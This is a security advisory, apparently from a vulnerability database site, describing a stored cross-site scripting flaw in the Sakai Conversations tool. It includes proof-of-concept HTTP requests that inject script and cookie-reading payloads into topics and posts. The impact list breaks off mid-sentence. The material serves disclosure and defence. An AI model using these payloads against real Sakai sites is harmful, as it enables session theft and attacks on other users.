Maven · org.sakaiproject.conversations:sakai-conversations-impl
Sakai Conversations has a Stored XSS Issue
The Sakai Conversations tool stores topic and post messages without HTML sanitization, and the frontend renders them using LitElement's unsafeHTML() directive, resulting in stored cross-site scripting (XSS). Any authenticated user with access to a site that has the Conversations tool enabled can inject arbitrary HTML and JavaScript that executes in the browsers of all other users who view that topic or post.
The Conversations REST API endpoint POST /api/sites/{siteId}/topics accepts a message field in the JSON request body. The service layer (ConversationsServiceImpl) stores the message directly to the database (conv_topics.MESSAGE) without invoking FormattedText.processFormattedText() or any equivalent HTML sanitizer.
The same issue affects post replies via POST /api/sites/{siteId}/topics/{topicId}/posts and comments stored in conv_comments.
On the frontend, SakaiTopic.js, SakaiPost.js, and SakaiComment.js all render the message field using LitElement's unsafeHTML() directive:
SakaiPost.js lines 429, 432: ${unsafeHTML(this.post.message)}SakaiTopic.js line 679: ${unsafeHTML(this.topic.message)}SakaiComment.js line 148: ${unsafeHTML(this.comment.message)}Unlike other Sakai tools (Announcements, Assignments, Resources) which call FormattedText.processFormattedText() before persisting user content, the Conversations implementation has no equivalent protection at storage time or render time.
Setup: Admin/instructor session on a site with the Conversations tool enabled (siteId BELP_275K_7418).
Step 1 - Inject XSS payload in topic:
POST /api/sites/BELP_275K_7418/topics HTTP/1.1
Host: localhost:9107
Cookie: SAKAIID=<authenticated-session>
Content-Type: application/json
{"title":"XSS Test Topic","message":"<img src=x onerror=alert(1)>","type":"QUESTION","visibility":"SITE","draft":false}
Response: HTTP 200, "message":"<img src=x onerror=alert(1)>" - raw HTML stored.
Step 2 - Verify stored in database:
SELECT TOPIC_ID, TITLE, MESSAGE FROM conv_topics
WHERE TOPIC_ID='e4c599c2-bd32-4364-9cbd-a5c9c102edfb';
-- Result: MESSAGE = <img src=x onerror=alert(1)>
Step 3 - Inject XSS payload in post reply:
POST /api/sites/BELP_275K_7418/topics/e4c599c2-bd32-4364-9cbd-a5c9c102edfb/posts HTTP/1.1
Host: localhost:9107
Cookie: SAKAIID=<authenticated-session>
Content-Type: application/json
{"message":"<script>alert(document.cookie)<\/script>","siteId":"BELP_275K_7418"}
Response: HTTP 200, "message":"<script>alert(document.cookie)</script>" - raw script stored.
Step 4 - Verify in database:
SELECT POST_ID, MESSAGE FROM conv_posts
WHERE POST_ID='e3cf7aed-c630-448a-89bb-27a8baacd269';
-- Result: MESSAGE = <script>alert(document.cookie)</script>
When any site member loads the Conversations view, the LitElement web component fetches the stored messages via the REST API and renders them with unsafeHTML(), causing the injected scripts and event handlers to execute.
An attacker with any site membership (student role or higher) can:
2696b4b48cbef2e81512f52f84f7477adff78b27)Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.